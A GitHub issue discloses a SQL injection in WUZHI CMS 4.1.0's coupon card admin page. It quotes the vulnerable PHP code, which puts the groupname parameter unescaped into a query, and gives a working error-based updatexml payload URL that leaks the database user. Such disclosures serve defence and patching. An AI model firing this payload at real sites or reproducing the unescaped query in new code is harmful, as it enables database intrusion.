Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 /coreframe/app/coupon/admin/card.php sql injection vulnerability #155

Open
songtancat opened this issue Sep 26, 2018 · 0 comments

Comments

@songtancat
Copy link

A sql injection was discovered in WUZHI CMS 4.1.0 .There is a sql injection vulnerability which allows remote attackers to Injecting a malicious SQL statement into a server via the /index.php?m=coupon&f=card&v=detail_listing&groupname=a&_su=wuzhicms

Vulnerability file: /coreframe/app/coupon/admin/card.php:39

public function detail_listing() {
        $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
        $page = max($page,1);
        $groupname = isset($GLOBALS['groupname']) ? strip_tags($GLOBALS['groupname']) : '';
        $where = $groupname ? "groupname='$groupname'" : '';
        $result = $this->db->get_list('coupon_card', $where, '*', 0, 20,$page,'cardid DESC');
        $pages = $this->db->pages;
        $total = $this->db->number;

        $status_arr = array('<font color="red">待发送</font>','未使用','已激活','<font color="green">已使用</font>');
        include $this->template('card_detail_listing');
    }

POC:
/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)='&_su=wuzhicms
wuzhi-cms

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant